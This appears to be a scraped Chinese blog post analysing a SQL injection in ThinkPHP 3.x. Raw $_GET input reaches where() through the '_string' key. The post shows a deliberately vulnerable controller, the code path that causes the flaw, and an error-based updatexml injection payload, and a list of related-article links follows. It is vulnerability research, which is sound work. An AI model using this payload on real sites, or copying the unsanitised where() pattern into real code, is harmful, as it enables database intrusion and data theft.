php $key{$x},Thinkphp 3.x key可控注入(?)
首先配置好Mysql连接
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => '127.0.0.1', // 服务器地址
'DB_NAME' => 'tp3', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => '3306', // 端口
'DB_PREFIX' => '',
然后写IndexController.class.php的逻辑
namespace Home\Controller;
use Think\Controller;
use \Think\Logs;
class IndexController extends Controller {
public function index(){
$id = $_GET[id];
$data = M('user')->where($id)->find();
dump($data);
}
这里使用原生的$_GET接受参数,没有使用I函数,因为I函数会转义单引号
这里着重分析parseWhere函数
$key以_开头,进入parseThinkWhere函数
可以看到$key为_string时,$val直接赋值给了$whereStr,有注入风险存在,继续往下跟
最后sql语句为
SELECT * FROM `user` WHERE ( 1 ) LIMIT 1
所以我们可以构造1) and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) -- +
标签:函数,可控,DB,0x7e,key,Thinkphp,root,SELECT
来源: https://www.cnblogs.com/cuocuo/p/14329379.html
php $key{$x},Thinkphp 3.x key可控注入(?)相关推荐
- php 注入是什么意思,如何理解ThinkPHP框架里的依赖注入?
依赖注入,你可以分开理解.拆成,依赖和注入 依赖:就是你现在要用 request 对象的get 方法,所有你必须要先能得到request对象,然后才能使用这个方法.这个就是依赖. 注入:怎么得到req ...
- 总结下ThinkPHP的代码审计方法
简介 ThinkPHP 是国内著名的 php开发框架,基于MVC模式,最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP. 本文主要分析 ThinkPHP v3 的程序代码, ...
- thinkphp 微信服务器验证代码_【表哥有话说 第27期】ThinkPHP框架漏洞梳理
0x00. 前言 ThinkPHP被认为是PHP入门级框架.作为菜鸡的我,据破神经验,寒假打算系统学习一下ThinkPHP框架开发及梳理其安全问题.恰逢契机,写篇文章梳理一下ThinkPHP. 因为是 ...
- thinkphp漏洞浅析随笔
thinkphp ThinkPHP是一个免费开源的,快速.简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的.ThinkPHP从诞生以来一直秉承简洁实用的设计原则 ...
- Thinkphp漏洞
➢ Thinkphp介绍 ThinkPHP是一个快速.兼容而且简单的轻量级国产PHP开发框架,支持 windows/Unix/Linux等服务器环境. ➢ Thinkphp应用 很多cms就是基于th ...
- 学习笔记-B/S - Exploits
B/S - Exploits 免责声明 本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. 大纲 各类论坛/CMS框架 AEM 74CMS dedeC ...
- 从一个Laravel SQL注入漏洞开始的Bug Bounty之旅
事先声明:本次测试过程完全处于本地或授权环境,仅供学习与参考,不存在未授权测试过程.本文提到的漏洞<Cachet SQL注入漏洞(CVE-2021-39165)>已经修复,也请读者勿使用该 ...
- 渗透测试培训必会工具xray扫描器的使用(一)
下载地址:链接:https://pan.baidu.com/s/1ExE0pgv9rz9NJBPNjIuMqg?pwd=k7m7 提取码:k7m7 本节使用linux版本的 xray1.9给大家做演示 ...
- 机械工程英语第二版叶邦彦-汉语翻译最多单元版
UNIT 1 Advanced Engineering Materials 第一单元 先进的工程材料 Types of Materials 材料的类型 Materials may be grouped ...
最新文章
- TessorFlow学习 之 序言
- linux 服务器 iptables 防止arp病毒,Linux下防御ARP病毒攻击
- 世上的人大都只会“飞鸽传书下载”,没人开发
- Java虚拟机(四)——类加载机制
- python利用字典实现大侠_python实现字符串和字典的转换
- 用 theano 求解 Logistic Regression (SGD 优化算法)
- R用户的福音︱TensorFlow:TensorFlow的R接口
- resultset java 类型_java 中的resultset的类型
- python的pyaudio教程入门_Python音频操作工具PyAudio上手教程详解
- 多传感器融合方法综述
- python语言绘制词云图
- svn和git 常用的命令
- 计算机领域 专利挖掘,浅谈如何进行软件专利的挖掘
- 微信小程序公农历转换的实现
- BIOS的全局变量gST gBS gDS
- 【Python爬虫实战】【天天基金网】想要低风险+心动收益?5分钟学会筛选优质债券基金
- 苏宁、长虹、格力,为何“玩不好”旧家电?
- 腾讯X5 浏览器内核加载
- 1053 Path of Equal Weight (30分)
- 王道论坛机试指南学习笔记(三)数学问题
热门文章
- 二叉树——求先序排列(洛谷 P1030)
- hadoop使用mapreduce统计词频_hadoop利用mapreduce运行词频统计(非例程)
- thinkphp3.2.3 调用自定义模型提示找不到类_面试BAT必问的JVM,今天我们来说一说它类加载器的底层原理...
- html js 回调函数,js中回调函数的学习笔记
- 《数据安全警示录》一书修订版出版
- 编程谜题:提升你解决问题的训练场
- 从相识到相惜:Redis与计算存储分离四部曲
- 线上一个数组查询遇到的坑
- python和pycharm怎么安装_Python3和PyCharm安装与环境配置【图文教程】
- 字体感觉小了 引入的vant_动态字体海报如何设计与制作?